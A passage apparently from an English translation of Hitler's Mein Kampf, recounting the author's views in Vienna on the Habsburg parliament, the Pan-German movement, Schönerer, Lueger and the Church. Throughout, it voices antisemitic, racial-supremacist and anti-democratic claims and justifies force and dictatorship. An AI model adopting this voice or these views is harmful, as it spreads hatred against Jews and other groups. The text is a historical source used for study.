spirit of our German democracy will of +itself prevent the chance careerist, who may be intellectually worthless +and a moral twister, from coming by devious ways to a position in which +he may govern his fellow-citizens. The fear of undertaking such +far-reaching responsibilities, under German democracy, will scare off +the ignorant and the feckless. + +But should it happen that such a person might creep in surreptitiously +it will be easy enough to identify him and apostrophize him ruthlessly. +somewhat thus: "Be off, you scoundrel. Don't soil these steps with your +feet; because these are the steps that lead to the portals of the +Pantheon of History, and they are not meant for place-hunters but for +men of noble character." + +Such were the views I formed after two years of attendance at the +sessions of the Viennese Parliament. Then I went there no more. + +The parliamentary regime became one of the causes why the strength of +the Habsburg State steadily declined during the last years of its +existence. The more the predominance of the German element was whittled +away through parliamentary procedure, the more prominent became the +system of playing off one of the various constituent nationalities +against the other. In the Imperial Parliament it was always the German +element that suffered through the system, which meant that the results +were detrimental to the Empire as a whole; for at the close of the +century even the most simple-minded people could recognize that the +cohesive forces within the Dual Monarchy no longer sufficed to +counterbalance the separatist tendencies of the provincial +nationalities. On the contrary! + +The measures which the State adopted for its own maintenance became more +and more mean spirited and in a like degree the general disrespect for +the State increased. Not only Hungary but also the various Slav +provinces gradually ceased to identify themselves with the monarchy +which embraced them all, and accordingly they did not feel its weakness +as in any way detrimental to themselves. They rather welcomed those +manifestations of senile decay. They looked forward to the final +dissolution of the State, and not to its recovery. + +The complete collapse was still forestalled in Parliament by the +humiliating concessions that were made to every kind of importunate +demands, at the cost of the German element. Throughout the country the +defence of the State rested on playing off the various nationalities +against one another. But the general trend of this development was +directed against the Germans. Especially since the right of succession +to the throne conferred certain influence on the Archduke Franz +Ferdinand, the policy of increasing the power of the Czechs was carried +out systematically from the upper grades of the administration down to +the lower. With all the means at his command the heir to the Dual +Monarchy personally furthered the policy that aimed at eliminating the +influence of the German element, or at least he acted as protector of +that policy. By the use of State officials as tools, purely German +districts were gradually but decisively brought within the danger zone +of the mixed languages. Even in Lower Austria this process began to make +headway with a constantly increasing tempo and Vienna was looked upon by +the Czechs as their biggest city. + +In the family circle of this new Habsburger the Czech language was +favoured. The wife of the Archduke had formerly been a Czech Countess +and was wedded to the Prince by a morganatic marriage. She came from an +environment where hostility to the Germans had been traditional. The +leading idea in the mind of the Archduke was to establish a Slav State +in Central Europe, which was to be constructed on a purely Catholic +basis, so as to serve as a bulwark against Orthodox Russia. + +As had happened often in Habsburg history, religion was thus exploited +to serve a purely political policy, and in this case a fatal policy, at +least as far as German interests were concerned. The result was +lamentable in many respects. + +Neither the House of Habsburg nor the Catholic Church received the +reward which they expected. Habsburg lost the throne and the Church lost +a great State. By employing religious motives in the service of +politics, a spirit was aroused which the instigators of that policy had +never thought possible. + +From the attempt to exterminate Germanism in the old monarchy by every +available means arose the Pan-German Movement in Austria, as a response. + +In the 'eighties of the last century Manchester Liberalism, which was +Jewish in its fundamental ideas, had reached the zenith of its influence +in the Dual Monarchy, or had already passed that point. The reaction +which set in did not arise from social but from nationalistic +tendencies, as was always the case in the old Austria. The instinct of +self-preservation drove the German element to defend itself +energetically. Economic considerations only slowly began to gain an +important influence; but they were of secondary concern. But of the +general political chaos two party organizations emerged. The one was +more of a national, and the other more of a social, character; but both +were highly interesting and instructive for the future. + +After the war of 1866, which had resulted in the humiliation of Austria, +the House of Habsburg contemplated a REVANCHE on the battlefield. Only +the tragic end of the Emperor Maximilian of Mexico prevented a still +closer collaboration with France. The chief blame for Maximilian's +disastrous expedition was attributed to Napoleon III and the fact that +the Frenchman left him in the lurch aroused a general feeling of +indignation. Yet the Habsburgs were still lying in wait for their +opportunity. If the war of 1870-71 had not been such a singular triumph, +the Viennese Court might have chanced the game of blood in order to get +its revenge for Sadowa. But when the first reports arrived from the +Franco-German battlefield, which, though true, seemed miraculous and +almost incredible, the 'most wise' of all monarchs recognized that the +moment was inopportune and tried to accept the unfavourable situation +with as good a grace as possible. + +The heroic conflict of those two years (1870-71) produced a still +greater miracle; for with the Habsburgs the change of attitude never +came from an inner heartfelt urge but only from the pressure of +circumstances. The German people of the East Mark, however, were +entranced by the triumphant glory of the newly established German Empire +and were profoundly moved when they saw the dream of their fathers +resurgent in a magnificent reality. + +For--let us make no mistake about it--the true German-Austrian realized +from this time onward, that Königgrätz was the tragic, though necessary, +pre-condition for the re-establishment of an Empire which should no +longer be burdened with the palsy of the old alliance and which indeed +had no share in that morbid decay. Above all, the German-Austrian had +come to feel in the very depths of his own being that the historical +mission of the House of Habsburg had come to an end and that the new +Empire could choose only an Emperor who was of heroic mould and was +therefore worthy to wear the 'Crown of the Rhine'. It was right and just +that Destiny should be praised for having chosen a scion of that House +of which Frederick the Great had in past times given the nation an +elevated and resplendent symbol for all time to come. + +After the great war of 1870-71 the House of Habsburg set to work with +all its determination to exterminate the dangerous German element--about +whose inner feelings and attitude there could be no doubt--slowly but +deliberately. I use the word exterminate, because that alone expresses +what must have been the final result of the Slavophile policy. Then it +was that the fire of rebellion blazed up among the people whose +extermination had been decreed. That fire was such as had never been +witnessed in modern German history. + +For the first time nationalists and patriots were transformed into +rebels. + +Not rebels against the nation or the State as such but rebels against +that form of government which they were convinced, would inevitably +bring about the ruin of their own people. For the first time in modern +history the traditional dynastic patriotism and national love of +fatherland and people were in open conflict. + +It was to the merit of the Pan-German movement in Austria during the +closing decade of the last century that it pointed out clearly and +unequivocally that a State is entitled to demand respect and protection +for its authority only when such authority is administered in accordance +with the interests of the nation, or at least not in a manner +detrimental to those interests. + +The authority of the State can never be an end in itself; for, if that +were so, any kind of tyranny would be inviolable and sacred. + +If a government uses the instruments of power in its hands for the +purpose of leading a people to ruin, then rebellion is not only the +right but also the duty of every individual citizen. + +The question of whether and when such a situation exists cannot be +answered by theoretical dissertations but only by the exercise of force, +and it is success that decides the issue. + +Every government, even though it may be the worst possible and even +though it may have betrayed the nation's trust in thousands of ways, +will claim that its duty is to uphold the authority of the State. Its +adversaries, who are fighting for national self-preservation, must use +the same weapons which the government uses if they are to prevail +against such a rule and secure their own freedom and independence. +Therefore the conflict will be fought out with 'legal' means as long as +the power which is to be overthrown uses them; but the insurgents will +not hesitate to apply illegal means if the oppressor himself employs +them. + +Generally speaking, we must not forget that the highest aim of human +existence is not the maintenance of a State of Government but rather the +conservation of the race. + +If the race is in danger of being oppressed or even exterminated the +question of legality is only of secondary importance. The established +power may in such a case employ only those means which are recognized as +'legal'. yet the instinct of self-preservation on the part of the +oppressed will always justify, to the highest degree, the employment of +all possible resources. + +Only on the recognition of this principle was it possible for those +struggles to be carried through, of which history furnishes magnificent +examples in abundance, against foreign bondage or oppression at home. + +Human rights are above the rights of the State. But if a people be +defeated in the struggle for its human rights this means that its weight +has proved too light in the scale of Destiny to have the luck of being +able to endure in this terrestrial world. + +The world is not there to be possessed by the faint-hearted races. + + + +Austria affords a very clear and striking example of how easy it is for +tyranny to hide its head under the cloak of what is called 'legality'. + +The legal exercise of power in the Habsburg State was then based on the +anti-German attitude of the parliament, with its non-German majorities, +and on the dynastic House, which was also hostile to the German element. +The whole authority of the State was incorporated in these two factors. +To attempt to alter the lot of the German element through these two +factors would have been senseless. Those who advised the 'legal' way as +the only possible way, and also obedience to the State authority, could +offer no resistance; because a policy of resistance could not have been +put into effect through legal measures. To follow the advice of the +legalist counsellors would have meant the inevitable ruin of the German +element within the Monarchy, and this disaster would not have taken long +to come. The German element has actually been saved only because the +State as such collapsed. + +The spectacled theorist would have given his life for his doctrine +rather than for his people. + +Because man has made laws he subsequently comes to think that he exists +for the sake of the laws. + +A great service rendered by the pan-German movement then was that it +abolished all such nonsense, though the doctrinaire theorists and other +fetish worshippers were shocked. + +When the Habsburgs attempted to come to close quarters with the German +element, by the employment of all the means of attack which they had at +their command, the Pan-German Party hit out ruthlessly against the +'illustrious' dynasty. This Party was the first to probe into and expose +the corrupt condition of the State; and in doing so they opened the eyes +of hundreds of thousands. To have liberated the high ideal of love for +one's country from the embrace of this deplorable dynasty was one of the +great services rendered by the Pan-German movement. + +When that Party first made its appearance it secured a large +following--indeed, the movement threatened to become almost an +avalanche. But the first successes were not maintained. At the time I +came to Vienna the pan-German Party had been eclipsed by the +Christian-Socialist Party, which had come into power in the meantime. +Indeed, the Pan-German Party had sunk to a level of almost complete +insignificance. + +The rise and decline of the Pan-German movement on the one hand and the +marvellous progress of the Christian-Socialist Party on the other, +became a classic object of study for me, and as such they played an +important part in the development of my own views. + +When I came to Vienna all my sympathies were exclusively with the +Pan-German Movement. + +I was just as much impressed by the fact that they had the courage to +shout HEIL HOHENZOLLERN as I rejoiced at their determination to consider +themselves an integral part of the German Empire, from which they were +separated only provisionally. They never missed an opportunity to +explain their attitude in public, which raised my enthusiasm and +confidence. To avow one's principles publicly on every problem that +concerned Germanism, and never to make any compromises, seemed to me the +only way of saving our people. What I could not understand was how this +movement broke down so soon after such a magnificent start; and it was +no less incomprehensible that the Christian-Socialists should gain such +tremendous power within such a short time. They had just reached the +pinnacle of their popularity. + +When I began to compare those two movements Fate placed before me the +best means of understanding the causes of this puzzling problem. The +action of Fate in this case was hastened by my own straitened +circumstances. + +I shall begin my analysis with an account of the two men who must be +regarded as the founders and leaders of the two movements. These were +George von Schönerer and Dr. Karl Lueger. + +As far as personality goes, both were far above the level and stature of +the so-called parliamentary figures. They lived lives of immaculate and +irreproachable probity amidst the miasma of all-round political +corruption. Personally I first liked the Pan-German representative, +Schönerer, and it was only afterwards and gradually that I felt an equal +liking for the Christian-Socialist leader. + +When I compared their respective abilities Schönerer seemed to me a +better and more profound thinker on fundamental problems. He foresaw the +inevitable downfall of the Austrian State more clearly and accurately +than anyone else. If this warning in regard to the Habsburg Empire had +been heeded in Germany the disastrous world war, which involved Germany +against the whole of Europe, would never have taken place. + +But though Schönerer succeeded in penetrating to the essentials of a +problem he was very often much mistaken in his judgment of men. + +And herein lay Dr. Lueger's special talent. He had a rare gift of +insight into human nature and he was very careful not to take men as +something better than they were in reality. He based his plans on the +practical possibilities which human life offered him, whereas Schönerer +had only little discrimination in that respect. All ideas that this +Pan-German had were right in the abstract, but he did not have the +forcefulness or understanding necessary to put his ideas across to the +broad masses. He was not able to formulate them so that they could be +easily grasped by the masses, whose powers of comprehension are limited +and will always remain so. Therefore all Schönerer's knowledge was only +the wisdom of a prophet and he never could succeed in having it put into +practice. + +This lack of insight into human nature led him to form a wrong estimate +of the forces behind certain movements and the inherent strength of old +institutions. + +Schönerer indeed realized that the problems he had to deal with were in +the nature of a WELTANSCHAUUNG; but he did not understand that only the +broad masses of a nation can make such convictions prevail, which are +almost of a religious nature. + +Unfortunately he understood only very imperfectly how feeble is the +fighting spirit of the so-called bourgeoisie. That weakness is due to +their business interests, which individuals are too much afraid of +risking and which therefore deter them from taking action. And, +generally speaking, a WELTANSCHAUUNG can have no prospect of success +unless the broad masses declare themselves ready to act as its +standard-bearers and to fight on its behalf wherever and to whatever +extent that may be necessary. + +This failure to understand the importance of the lower strata of the +population resulted in a very inadequate concept of the social problem. + +In all this Dr. Lueger was the opposite of Schönerer. His profound +knowledge of human nature enabled him to form a correct estimate of the +various social forces and it saved him from under-rating the power of +existing institutions. And it was perhaps this very quality which +enabled him to utilize those institutions as a means to serve the +purposes of his policy. + +He saw only too clearly that, in our epoch, the political fighting power +of the upper classes is quite insignificant and not at all capable of +fighting for a great new movement until the triumph of that movement be +secured. Thus he devoted the greatest part of his political activity to +the task of winning over those sections of the population whose +existence was in danger and fostering the militant spirit in them rather +than attempting to paralyse it. He was also quick to adopt all available +means for winning the support of long-established institutions, so as to +be able to derive the greatest possible advantage for his movement from +those old sources of power. + +Thus it was that, first of all, he chose as the social basis of his new +Party that middle class which was threatened with extinction. In this +way he secured a solid following which was willing to make great +sacrifices and had good fighting stamina. His extremely wise attitude +towards the Catholic Church rapidly won over the younger clergy in such +large numbers that the old Clerical Party was forced to retire from the +field of action or else, which was the wiser course, join the new Party, +in the hope of gradually winning back one position after another. + +But it would be a serious injustice to the man if we were to regard this +as his essential characteristic. For he possessed the qualities of an +able tactician, and had the true genius of a great reformer; but all +these were limited by his exact perception of the possibilities at hand +and also of his own capabilities. + +The aims which this really eminent man decided to pursue were intensely +practical. He wished to conquer Vienna, the heart of the Monarchy. It +was from Vienna that the last pulses of life beat through the diseased +and worn-out body of the decrepit Empire. If the heart could be made +healthier the others parts of the body were bound to revive. That idea +was correct in principle; but the time within which it could be applied +in practice was strictly limited. And that was the man's weak point. + +His achievements as Burgomaster of the City of Vienna are immortal, in +the best sense of the word. But all that could not save the Monarchy. It +came too late. + +His rival, Schönerer, saw this more clearly. What Dr. Lueger undertook +to put into practice turned out marvellously successful. But the results +which he expected to follow these achievements did not come. Schönerer +did not attain the ends he had proposed to himself; but his fears were +realized, alas, in a terrible fashion. Thus both these men failed to +attain their further objectives. Lueger could not save Austria and +Schönerer could not prevent the downfall of the German people in +Austria. + +To study the causes of failure in the case of these two parties is to +learn a lesson that is highly instructive for our own epoch. This is +specially useful for my friends, because in many points the +circumstances of our own day are similar to those of that time. +Therefore such a lesson may help us to guard against the mistakes which +brought one of those movements to an end and rendered the other barren +of results. + +In my opinion, the wreck of the Pan-German Movement in Austria must be +attributed to three causes. + +The first of these consisted in the fact that the leaders did not have a +clear concept of the importance of the social problem, particularly for +a new movement which had an essentially revolutionary character. +Schönerer and his followers directed their attention principally to the +bourgeois classes. For that reason their movement was bound to turn out +mediocre and tame. The German bourgeoisie, especially in its upper +circles, is pacifist even to the point of complete +self-abnegation--though the individual may not be aware of +this--wherever the internal affairs of the nation or State are +concerned. In good times, which in this case means times of good +government, such a psychological attitude makes this social layer +extraordinarily valuable to the State. But when there is a bad +government, such a quality has a destructive effect. In order to assure +the possibility of carrying through a really strenuous struggle, the +Pan-German Movement should have devoted its efforts to winning over the +masses. The failure to do this left the movement from the very beginning +without the elementary impulse which such a wave needs if it is not to +ebb within a short while. + +In failing to see the truth of this principle clearly at the very outset +of the movement and in neglecting to put it into practice the new Party +made an initial mistake which could not possibly be rectified +afterwards. For the numerous moderate bourgeois elements admitted into +the movements increasingly determined its internal orientation and thus +forestalled all further prospects of gaining any appreciable support +among the masses of the people. Under such conditions such a movement +could not get beyond mere discussion and criticism. Quasi-religious +faith and the spirit of sacrifice were not to be found in the movement +any more. Their place was taken by the effort towards 'positive' +collaboration, which in this case meant the acknowledgment of the +existing state of affairs, gradually whittling away the rough corners of +the questions in dispute, and ending up with the making of a +dishonourable peace. + +Such was the fate of the Pan-German Movement, because at the start the +leaders did not realize that the most important condition of success was +that they should recruit their following from the broad masses of the +people. The Movement thus became bourgeois and respectable and radical +only in moderation. + +From this failure resulted the second cause of its rapid decline. + +The position of the Germans in Austria was already desperate when +Pan-Germanism arose. Year after year Parliament was being used more and +more as an instrument for the gradual extinction of the German-Austrian +population. The only hope for any eleventh-hour effort to save it lay in +the overthrow of the parliamentary system; but there was very little +prospect of this happening. + +Therewith the Pan-German Movement was confronted with a question of +primary importance. + +To overthrow the Parliament, should the Pan-Germanists have entered it +'to undermine it from within', as the current phrase was? Or should they +have assailed the institution as such from the outside? + +They entered the Parliament and came out defeated. But they had found +themselves obliged to enter. + +For in order to wage an effective war against such a power from the +outside, indomitable courage and a ready spirit of sacrifice were +necessary weapons. In such cases the bull must be seized by the horns. +Furious drives may bring the assailant to the ground again and again; +but if he has a stout heart he will stand up, even though some bones may +be broken, and only after a long and tough struggle will he achieve his +triumph. New champions are attracted to a cause by the appeal of great +sacrifices made for its sake, until that indomitable spirit is finally +crowned with success. + +For such a result, however, the children of the people from the great +masses are necessary. They alone have the requisite determination and +tenacity to fight a sanguinary issue through to the end. But the +Pan-German Movement did not have these broad masses as its champions, +and so no other means of solution could be tried out except that of +entering Parliamcnt. + +It would be a mistake to think that this decision resulted from a long +series of internal hesitations of a moral kind, or that it was the +outcome of careful calculation. No. They did not even think of another +solution. Those who participated in this blunder were actuated by +general considerations and vague notions as to what would be the +significance and effect of taking part in such a special way in that +institution which they had condemned on principle. In general they hoped +that they would thus have the means of expounding their cause to the +great masses of the people, because they would be able to speak before +'the forum of the whole nation'. Also, it seemed reasonable to believe +that by attacking the evil in the root they would be more effective than +if the attack came from outside. They believed that, if protected by the +immunity of Parliament, the position of the individual protagonists +would be strengthened and that thus the force of their attacks would be +enhanced. + +In reality everything turned out quite otherwise. + +The Forum before which the Pan-German representatives spoke had not +grown greater, but had actually become smaller; for each spoke only to +the circle that was ready to listen to him or could read the report of +his speech in the newspapers. + +But the greater forum of immediate listeners is not the parliamentary +auditorium: it is the large public meeting. For here alone will there be +thousands of men who have come simply to hear what a speaker has to say, +whereas in the parliamentary sittings only a few hundred are present; +and for the most part these are there only to earn their daily allowance +for attendance and not to be enlightened by the wisdom of one or other +of the 'representatives of the people'. + +The most important consideration is that the same public is always +present and that this public does not wish to learn anything new; +because, setting aside the question of its intelligence, it lacks even +that modest quantum of will-power which is necessary for the effort of +learning. + +Not one of the representatives of the people will pay homage to a +superior truth and devote himself to its service. No. Not one of these +gentry will act thus, except he has grounds for hoping that by such a +conversion he may be able to retain the representation of his +constituency in the coming legislature. Therefore, only when it becomes +quite clear that the old party is likely to have a bad time of it at the +forthcoming elections--only then will those models of manly virtue set +out in search of a new party or a new policy which may have better +electoral prospects; but of course this change of position will be +accompanied by a veritable deluge of high moral motives to justify it. +And thus it always happens that when an existing Party has incurred such +general disfavour among the public that it is threatened with the +probability of a crushing defeat, then a great migration commences. The +parliamentary rats leave the Party ship. + +All this happens not because the individuals in the case have become +better informed on the questions at issue and have resolved to act +accordingly. These changes of front are evidence only of that gift of +clairvoyance which warns the parliamentary flea at the right moment and +enables him to hop into another warm Party bed. + +To speak before such a forum signifies casting pearls before certain +animals. + +Verily it does not repay the pains taken; for the result must always be +negative. + +And that is actually what happened. The Pan-German representatives might +have talked themselves hoarse, but to no effect whatsoever. + +The Press either ignored them totally or so mutilated their speeches +that the logical consistency was destroyed or the meaning twisted round +in such a way that the public got only a very wrong impression regarding +the aims of the new movement. What the individual members said was not +of importance. The important matter was what people read as coming from +them. This consisted of mere extracts which had been torn out of the +context of the speeches and gave an impression of incoherent nonsense, +which indeed was purposely meant. Thus the only public before which they +really spoke consisted merely of five hundred parliamentarians; and that +says enough. + +The worst was the following: + +The Pan-German Movement could hope for success only if the leaders +realized from the very first moment that here there was no question so +much of a new Party as of a new WELTANSCHAUUNG. This alone could arouse +the inner moral forces that were necessary for such a gigantic struggle. +And for this struggle the leaders must be men of first-class brains and +indomitable courage. If the struggle on behalf of a WELTANSCHAUUNG is +not conducted by men of heroic spirit who are ready to sacrifice, +everything, within a short while it will become impossible to find real +fighting followers who are ready to lay down their lives for the cause. +A man who fights only for his own existence has not much left over for +the service of the community. + +In order to secure the conditions that are necessary for success, +everybody concerned must be made to understand that the new movement +looks to posterity for its honour and glory but that it has no +recompense to offer to the present-day members. If a movement should +offer a large number of positions and offices that are easily accessible +the number of unworthy candidates admitted to membership will be +constantly on the increase and eventually a day will come when there +will be such a preponderance of political profiteers among the +membership of a successful Party that the combatants who bore the brunt +of the battle in the earlier stages of the movement can now scarcely +recognize their own Party and may be ejected by the later arrivals as +unwanted ballast. Therewith the movement will no longer have a mission +to fulfil. + +Once the Pan-Germanists decided to collaborate with Parliament they were +no longer leaders and combatants in a popular movement, but merely +parliamentarians. Thus the Movement sank to the common political party +level of the day and no longer had the strength to face a hostile fate +and defy the risk of martyrdom. Instead of fighting, the Pan-German +leaders fell into the habit of talking and negotiating. The new +parliamentarians soon found that it was a more satisfactory, because +less risky, way of fulfilling their task if they would defend the new +WELTANSCHAUUNG with the spiritual weapon of parliamentary rhetoric +rather than take up a fight in which they placed their lives in danger, +the outcome of which also was uncertain and even at the best could offer +no prospect of personal gain for themselves. + +When they had taken their seats in Parliament their adherents outside +hoped and waited for miracles to happen. Naturally no such miracles +happened or could happen. Whereupon the adherents of the movement soon +grew impatient, because reports they read about their own deputies did +not in the least come up to what had been expected when they voted for +these deputies at the elections. The reason for this was not far to +seek. It was due to the fact that an unfriendly Press refrained from +giving a true account of what the Pan-German representatives of the +people were actually doing. + +According as the new deputies got to like this mild form of +'revolutionary' struggle in Parliament and in the provincial diets they +gradually became reluctant to resume the more hazardous work of +expounding the principles of the movement before the broad masses of the +people. + +Mass meetings in public became more and more rare, though these are the +only means of exercising a really effective influence on the people; +because here the influence comes from direct personal contact and in +this way the support of large sections of the people can be obtained. + +When the tables on which the speakers used to stand in the great +beer-halls, addressing an assembly of thousands, were deserted for the +parliamentary tribune and the speeches were no longer addressed to the +people directly but to the so-called 'chosen' representatives, the +Pan-German Movement lost its popular character and in a little while +degenerated to the level of a more or less serious club where problems +of the day are discussed academically. + +The wrong impression created by the Press was no longer corrected by +personal contact with the people through public meetings, whereby the +individual representatives might have given a true account of their +activities. The final result of this neglect was that the word +'Pan-German' came to have an unpleasant sound in the ears of the masses. + +The knights of the pen and the literary snobs of to-day should be made +to realize that the great transformations which have taken place in this +world were never conducted by a goosequill. No. The task of the pen must +always be that of presenting the theoretical concepts which motivate +such changes. The force which has ever and always set in motion great +historical avalanches of religious and political movements is the magic +power of the spoken word. + +The broad masses of a population are more amenable to the appeal of +rhetoric than to any other force. All great movements are popular +movements. They are the volcanic eruptions of human passions and +emotions, stirred into activity by the ruthless Goddess of Distress or +by the torch of the spoken word cast into the midst of the people. In no +case have great movements been set afoot by the syrupy effusions of +aesthetic littérateurs and drawing-room heroes. + +The doom of a nation can be averted only by a storm of glowing passion; +but only those who are passionate themselves can arouse passion in +others. It is only through the capacity for passionate feeling that +chosen leaders can wield the power of the word which, like hammer blows, +will open the door to the hearts of the people. + +He who is not capable of passionate feeling and speech was never chosen +by Providence to be the herald of its will. Therefore a writer should +stick to his ink-bottle and busy himself with theoretical questions if +he has the requisite ability and knowledge. He has not been born or +chosen to be a leader. + +A movement which has great ends to achieve must carefully guard against +the danger of losing contact with the masses of the people. Every +problem encountered must be examined from this viewpoint first of all +and the decision to be made must always be in harmony with this +principle. + +The movement must avoid everything which might lessen or weaken its +power of influencing the masses; not from demagogical motives but +because of the simple fact that no great idea, no matter how sublime and +exalted it may appear, can be realized in practice without the effective +power which resides in the popular masses. Stern reality alone must mark +the way to the goal. To be unwilling to walk the road of hardship means, +only too often in this world, the total renunciation of our aims and +purposes, whether that renunciation be consciously willed or not. + +The moment the Pan-German leaders, in virtue of their acceptance of the +parliamentary principle, moved the centre of their activities away from +the people and into Parliament, in that moment they sacrificed the +future for the sake of a cheap momentary success. They chose the easier +way in the struggle and in doing so rendered themselves unworthy of the +final victory. + +While in Vienna I used to ponder seriously over these two questions, and +I saw that the main reason for the collapse of the Pan-German Movement +lay in the fact that these very questions were not rightly appreciated. +To my mind at that time the Movement seemed chosen to take in its hands +the leadership of the German element in Austria. + +These first two blunders which led to the downfall of the Pan-German +Movement were very closely connected with one another. Faulty +recognition of the inner driving forces that urge great movements +forward led to an inadequate appreciation of the part which the broad +masses play in bringing about such changes. The result was that too +little attention was given to the social problem and that the attempts +made by the movement to capture the minds of the lower classes were too +few and too weak. Another result was the acceptance of the parliamentary +policy, which had a similar effect in regard to the importance of the +masses. + +If there had been a proper appreciation of the tremendous powers of +endurance always shown by the masses in revolutionary movements a +different attitude towards the social problem would have been taken, and +also a different policy in the matter of propaganda. Then the centre of +gravity of the movement would not have been transferred to the +Parliament but would have remained in the workshops and in the streets. + +There was a third mistake, which also had its roots in the failure to +understand the worth of the masses. The masses are first set in motion, +along a definite direction, by men of superior talents; but then these +masses once in motion are like a flywheel inasmuch as they sustain the +momentum and steady balance of the offensive. + +The policy of the Pan-German leaders in deciding to carry through a +difficult fight against the Catholic Church can be explained only by +attributing it to an inadequate understanding of the spiritual character +of the people. + +The reasons why the new Party engaged in a violent campaign against Rome +were as follows: + +As soon as the House of Habsburg had definitely decided to transform +Austria into a Slav State all sorts of means were adopted which seemed +in any way serviceable for that purpose. The Habsburg rulers had no +scruples of conscience about exploiting even religious institutions in +the service of this new 'State Idea'. One of the many methods thus +employed was the use of Czech parishes and their clergy as instruments +for spreading Slav hegemony throughout Austria. This proceeding was +carried out as follows: + +Parish priests of Czech nationality were appointed in purely German +districts. Gradually but steadily pushing forward the interests of the +Czech people before those of the Church, the parishes and their priests +became generative cells in the process of de-Germanization. + +Unfortunately the German-Austrian clergy completely failed to counter +this procedure. Not only were they incapable of taking a similar +initiative on the German side, but they showed themselves unable to meet +the Czech offensive with adequate resistance. The German element was +accordingly pushed backwards, slowly but steadily, through the +perversion of religious belief for political ends on the one side, and +the Jack of proper resistance on the other side. Such were the tactics +used in dealing with the smaller problems; but those used in dealing +with the larger problems were not very different. + +The anti-German aims pursued by the Habsburgs, especially through the +instrumentality of the higher clergy, did not meet with any vigorous +resistance, while the clerical representatives of the German interests +withdrew completely to the rear. The general impression created could +not be other than that the Catholic clergy as such were grossly +neglecting the rights of the German population. + +Therefore it looked as if the Catholic Church was not in sympathy with +the German people but that it unjustly supported their adversaries. The +root of the whole evil, especially according to Schönerer's opinion, lay +in the fact that the leadership of the Catholic Church was not in +Germany, and that this fact alone was sufficient reason for the hostile +attitude of the Church towards the demands of our people. + +The so-called cultural problem receded almost completely into the +background, as was generally the case everywhere throughout Austria at +that time. In assuming a hostile attitude towards the Catholic Church, +the Pan-German leaders were influenced not so much by the Church's +position in questions of science but principally by the fact that the +Church did not defend German rights, as it should have done, but always +supported those who encroached on these rights, especially then Slavs. + +George Schönerer was not a man who did things by halves. He went into +battle against the Church because he was convinced that this was the +only way in which the German people could be saved. The LOS-VON-ROM +(Away from Rome) Movement seemed the most formidable, but at the same +time most difficult, method of attacking and destroying the adversary's +citadel. Schönerer believed that if this movement could be carried +through successfully the unfortunate division between the two great +religious denominations in Germany would be wiped out and that the inner +forces of the German Empire and Nation would be enormously enhanced by +such a victory. + +But the premises as well as the conclusions in this case were both +erroneous. + +It was undoubtedly true that the national powers of resistance, in +everything concerning Germanism as such, were much weaker among the +German Catholic clergy than among their non-German confrères, especially +the Czechs. And only an ignorant person could be unaware of the fact +that it scarcely ever entered the mind of the German clergy to take the +offensive on behalf of German interests. + +But at the same time everybody who is not blind to facts must admit that +all this should be attributed to a characteristic under which we Germans +have all been doomed to suffer. This characteristic shows itself in our +objective way of regarding our own nationality, as if it were something +that lay outside of us. + +While the Czech priest adopted a subjective attitude towards his own +people and only an objective attitude towards the Church, the German +parish priest showed a subjective devotion to his Church and remained +objective in regard to his nation. It is a phenomenon which, +unfortunately for us, can be observed occurring in exactly the same way +in thousands of other cases. + +It is by no means a peculiar inheritance from Catholicism; but it is +something in us which does not take long to gnaw the vitals of almost +every institution, especially institutions of State and those which have +ideal aims. Take, for example, the attitude of our State officials in +regard to the efforts made for bringing about a national resurgence and +compare that attitude with the stand which the public officials of any +other nation would have taken in such a case. Or is it to be believed +that the military officers of any other country in the world would +refuse to come forward on behalf of the national aspirations, but would +rather hide behind the phrase 'Authority of the State', as has been the +case in our country during the last five years and has even been deemed +a meritorious attitude? Or let us take another example. In regard to the +Jewish problem, do not the two Christian denominations take up a +standpoint to-day which does not respond to the national exigencies or +even the interests of religion? Consider the attitude of a Jewish Rabbi +towards any question, even one of quite insignificant importance, +concerning the Jews as a race, and compare his attitude with that of the +majority of our clergy, whether Catholic or Protestant. + +We observe the same phenomenon wherever it is a matter of standing up +for some abstract idea. + +'Authority of the State', 'Democracy', 'Pacifism', 'International +Solidarity', etc., all such notions become rigid, dogmatic concepts with +us; and the more vital the general necessities of the nation, the more +will they be judged exclusively in the light of those concepts. + +This unfortunate habit of looking at all national demands from the +viewpoint of a pre-conceived notion makes it impossible for us to see +the subjective side of a thing which objectively contradicts one's own +doctrine. It finally leads to a complete reversion in the relation of +means to an end. Any attempt at a national revival will be opposed if +the preliminary condition of such a revival be that a bad and pernicious +regime must first of all be overthrown; because such an action will be +considered as a violation of the 'Authority of the State'. In the eyes +of those who take that standpoint, the 'Authority of the State' is not a +means which is there to serve an end but rather, to the mind of the +dogmatic believer in objectivity, it is an end in itself; and he looks +upon that as sufficient apology for his own miserable existence. Such +people would raise an outcry, if, for instance, anyone should attempt to +set up a dictatorship, even though the man responsible for it were +Frederick the Great and even though the politicians for the time being, +who constituted the parliamentary majority, were small and incompetent +men or maybe even on a lower grade of inferiority; because to such +sticklers for abstract principles the law of democracy is more sacred +than the welfare of the nation. In accordance with his principles, one +of these gentry will defend the worst kind of tyranny, though it may be +leading a people to ruin, because it is the fleeting embodiment of the +'Authority of the State', and another will reject even a highly +beneficent government if it should happen not to be in accord with his +notion of 'democracy'. + +In the same way our German pacifist will remain silent while the nation +is groaning under an oppression which is being exercised by a sanguinary +military power, when this state of affairs gives rise to active +resistance; because such resistance means the employment of physical +force, which is against the spirit of the pacifist associations. The +German International Socialist may be rooked and plundered by his +comrades in all the other countries of the world in the name of +'solidarity', but he responds with fraternal kindness and never thinks +of trying to get his own back, or even of defending himself. And why? +Because he is a--German. + +It may be unpleasant to dwell on such truths, but if something is to be +changed we must start by diagnosing the disease. + +The phenomenon which I have just described also accounts for the feeble +manner in which German interests are promoted and defended by a section +of the clergy. + +Such conduct is not the manifestation of a malicious intent, nor is it +the outcome of orders given from 'above', as we say; but such a lack of +national grit and determination is due to defects in our educational +system. For, instead of inculcating in the youth a lively sense of their +German nationality, the aim of the educational system is to make the +youth prostrate themselves in homage to the idea, as if the idea were an +idol. + +The education which makes them the devotees of such abstract notions as +'Democracy', 'International Socialism', 'Pacifism', etc., is so +hard-and-fast and exclusive and, operating as it does from within +outwards, is so purely subjective that in forming their general picture +of outside life as a whole they are fundamentally influenced by these +A PRIORI notions. But, on the other hand, the attitude towards their own +German nationality has been very objective from youth upwards. The +Pacifist--in so far as he is a German--who surrenders himself +subjectively, body and soul, to the dictates of his dogmatic principles, +will always first consider the objective right or wrong of a situation +when danger threatens his own people, even though that danger be grave +and unjustly wrought from outside. But he will never take his stand in +the ranks of his own people and fight for and with them 